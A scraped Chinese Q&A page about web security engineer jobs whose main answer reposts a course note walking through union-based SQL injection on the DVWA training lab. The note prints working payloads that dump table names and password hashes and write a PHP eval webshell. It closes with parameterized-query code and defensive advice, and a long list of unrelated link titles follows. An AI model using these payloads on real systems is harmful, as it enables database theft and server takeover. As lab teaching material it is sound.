首页

文章

WEB应用安全工程师

发布网友 发布时间:2022-04-20 02:58

我来回答

4个回答

懂视网 时间:2022-05-02 17:45

first_name, last_name FROM users WHERE user_id = ‘$id‘;

这样我们就可以尝试用万能密码的方式看看能不能让后台执行恶意语句,我们试着输入

1 or 1024=1024 (数值型)

1‘ or ‘1024‘=‘1024 (字符型)

技术分享图片

得到了所有用户的信息,这里的’1024‘=’1024加上后台的‘刚好使得where语句永远为True。

这里存在SQL注入漏洞,是不是可以进一步利用,获得更多的信息呢?

我们接下去想看看能不能知道用户表的字段数,试着输入:

1‘ or ‘1024‘=‘1024‘ order by 1 #

技术分享图片

发现执行成功,这里的order是指按第一个字段排序,既然成功,那就说明第一个字段存在(好像是废话o(╯□╰)o)。不过我们可以利用同样的方法,order by 2,3,4,......直到N报错,就说明共有N-1个字段,我们发现当尝试到3时报错了,说明select语句只有2个字段。

仅此而已么?接下来我们更进一步,介绍union用法,输入:

1‘ union select 1,2 #

技术分享图片

我们发现第二项里把1,2写入First name和Surname中。那有什么用呢?我们输入:

1‘ union select  @@version,@@datadir #

技术分享图片

发现居然拿到了SQL的版本和目录!同样的,更多信息都能被获取(用户和数据库名):

1‘ union select  user(),database() #

技术分享图片

有了数据库名,我们就能利用它来查询数据库中的所有表:

1‘ union select 1,table_name from information_schema.tables where table_schema=‘dvwa‘ #

技术分享图片

说明数据库dvwa中一共有两个表,guestbook与users。

接下去我们看看users表里有些什么字段?担心字段太多,我们用group_concat拼接这些字段:

1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘ #

技术分享图片

我们得到了users表的8个字段名,接下去能获得每个用户的密码么?试试:

1‘ union select user,password from users #

技术分享图片

这样我们就获得了所有用户的用户名和密码,虽然是加密过的,但是只要放到www.cmd5.com中就能破解出来,例如“5f4dcc3b5aa765d61d8327deb882cf99”,解密结果为:“password”!

于是,通过一个简单的SQL漏洞,我们就拿到了所有用户的密码,这个危害性真是太大了。此外,我们还能使用load_file函数去获取服务器各种文件,以及写入webshell,是在是太可怕。

union select ‘<?php @eval($_GET[‘cmd‘];?)>‘,webshell into outfile ‘D:/....‘

我们总结以下SQL注入的常用手段:

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 下载数据

3. 接下去我们把安全等级调为medium,发现输入框变成了下拉框。

技术分享图片

但是一个小小的下拉框怎么能阻拦我们?我们前面已经多次用到TamperData或ZAP去修改请求报文,所以这不是个问题,具体不细说,可参考前面的文章。不过除了下拉框的限制,后台还利用mysql_real_escape_string函数对特殊符号x00, , ,,’,”,x1a进行转义:

$id = mysql_real_escape_string( $id );

但如果是数字型注入漏洞,这个过滤就没太大用处,那如果是像之前一样需要输入table_schema=‘dvwa‘时怎么办呢?可以简单的使用HackBar插件里的Encoding功能进行Hex编码,将dvwa编码为0x64767761,就可以不用带引号了。

4. 接下去我们看看high等级的SQL注入,发现让我们点击链接后在新窗口输入ID后进行修改。这主要为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

技术分享图片

但是这并不妨碍我们利用union select注入,采用之前同样的方法,也没什么问题。查看后台源码,发现多了个LIMIT 1的限制,希望只输出一个结果,不过这可以用注释符号直接绕过。

$query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";

5. 最后我们来看看impossible代码,发现后台进行了许多控制,包括输入必须是数字,使用预编译绑定变量,代码与数据分离,同时只有返回的查询结果数量为1时,才会成功输出,有效地防止SQL注入。

 // Was a number entered?
 if(is_numeric( $id )) {
 // Check the database
 $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ );
 $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT );
 $data->execute();
 $row = $data->fetch();
 // Make sure only 1 result is returned
 if( $data->rowCount() == 1 ) {

6. SQL注入虽然威力很大,但是过程略繁琐,需要一遍遍的尝试,有没有什么工具能节省我们的劳动力?当然是有点,那就是神器sqlmap,只需几个命令,就能完成我们上述的所有操作。不过对于我们来说,了解工具背后的原理更重要,大家有兴趣可以下载sqlmap安装并试用,关于sqlmap之后有空再专门写篇文章介绍。

 

实战心得:

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。防护方法主要有以下几点:

  1. 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
  2. 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  3. 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
  4. 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  5. 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

【笔记】网易微专业-Web安全工程师-04.WEB安全实战-7.SQL回显注入

标签:页面   bind   连接   操作   漏洞   esc   data   输出   password   

热心网友 时间:2022-05-02 14:53

web安全工程师前景不错,不过入门门槛较高。
一般web安全工程师出身于所谓的“黑客”。对web脚本语言(ASP PHP JSP .NET )等语言编写的web应用程序的漏洞挖掘,漏洞分析。在web安全工程师具备能力中包括:
sql injection 原理,挖掘sql injection漏洞,攻击方法,攻击利用,xss漏洞的挖掘,利用,本地包含等等漏洞的挖掘。其实更多方面的类似于 渗透测试工程师相似度解决90%。只是侧重点在web上,而渗透测试工程师侧重点在于系统漏洞及网络设备及逆向破解等领域更多的研究,一般web安全工程师都具备渗透测试工程师的素质和能力。thx!

热心网友 时间:2022-05-02 16:11

WEB安全工程师,第一次听说这样的职位,我猜测的话,可能是象慰迟恭、秦叔宝他们那样的职务吧====门神,吓鬼用的。

热心网友 时间:2022-05-02 17:46

职位不错!
八月中国最凉快的地方 八月份哪里最凉快,去哪旅游好?美丽的地方 乱字同韵字是什么意思 华硕笔记本电脑触摸板怎么开笔记本电脑触摸板怎么开启和关闭_百度知 ... 陕西职务侵占案立案准则 结婚后我的恋情维系了十年,怎么做到的? 玉米仁子饭产自哪里 中国期货交易所的交易品种有哪些? 历史要怎么读,有啥诀窍 高中历史诀窍 年终会活动策划方案 深度解析:第一财经回放,探索财经新风向 逆水寒手游庄园怎么邀请好友同住 逆水寒手游 逆水寒不同区可以一起组队吗? 逆水寒手游 逆水寒怎么进入好友世界? 逆水寒手游 逆水寒怎么去别人的庄园? 使用puppeteer实现将htmll转成pdf 内卷时代下的前端技术-使用JavaScript在浏览器中生成PDF文档 【译】将HTML转为PDF的几种实现方案 变形金刚08动画怎么样 变形金刚08动画的问题 变形金刚08动画日语版剧情介绍 高分!换显卡nvidia控制面板被我卸了,重新安装显卡驱动后没了nvidia控... 我的nvidia控制面板被卸载了 怎么找回啊 卸载后 这个画面看着很奇怪_百 ... 李卓彬工作简历 林少明工作简历 广东工业职业技术学院怎么样 郑德涛任职简历 唐新桂个人简历 土地入股的定义 ups快递客服电话24小时 贷款记录在征信保留几年? 安徽徽商城有限公司公司简介 安徽省徽商集团新能源股份有限公司基本情况 安徽省徽商集团有限公司经营理念 2019哈尔滨煤气费怎么有税? 快手删除的作品如何恢复 体育理念体育理念 有关体育的格言和理念 什么是体育理念 万里挑一算彩礼还是见面礼 绿萝扦插多少天后发芽 绿萝扦插多久发芽 扦插绿萝多久发芽 炖牛排骨的做法和配料 网络诈骗定罪标准揭秘 “流水不争先”是什么意思? mc中钻石装备怎么做 为什么我的MC里的钻石块是这样的?我想要那种。是不是版本的问题?如果是... 带“偷儿”的诗句 如何做一名好的web安全工程师 web安全工程师需要负哪些责任 做web安全工程师是一种怎样的体验 网络安全工程师与web安全工程师区别 联想电脑显示屏电源线接口在哪 dc—in是什么意思 28岁的女生 找工作容易吗 女生学点什么技术好找工作 28岁女生学什么好 28岁女孩子学点什么好? DC电源插座作用是什么? 28岁的女的学专业什么好? 女生28岁,学什么技术有前景,谢 一个28岁没学历不漂亮的女人可以学什么技术好? 28岁的女人学什么技术吃香 28岁女生学点什么技术好?新媒体可以吗 28岁的女孩适合学什么技术 28岁学些什么手艺好 28岁女转行学什么比较好 28岁的女人学什么好,做什么工作好有前景哇 28岁的女孩子学点什么技术好?在家可以工作的 28岁的女人学什么手艺好挣钱 网络安全工程师认证哪个好? 街上有搞web安全工程师的吗,说说待遇及前景吧 成为web安全工程师难度大不大? Web安全是前端还是后端安全居多,Web安全工程师是... 《杯弓蛇影》告诉我们一个什么道理? 杯弓蛇影告诉我们道理是什么? 杯弓蛇影的道理是什么 杯弓蛇影告诉我什么道理。(15字)? 杯弓蛇影这则寓言故事获得了一个什么启示呢 杯弓蛇影的故事和寓意是什么? 杯弓蛇影的道理是什么? 杯弓蛇影告诉我们一个什么道理? 杯弓蛇影的故事和寓意是什么? “杯弓蛇影”的故事告诉我们怎样的道理? 苹果手机下载app需要输入id密码可是没有入口? 杯弓蛇影告诉我们的道理? 杯弓蛇影的意思和道理是什么? 《杯弓蛇影》这个成语说明什么道理? 苹果手机怎么让卸载过的软件重新下载还需要id密码 杯弓蛇影文言文告诉我们什么道理
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com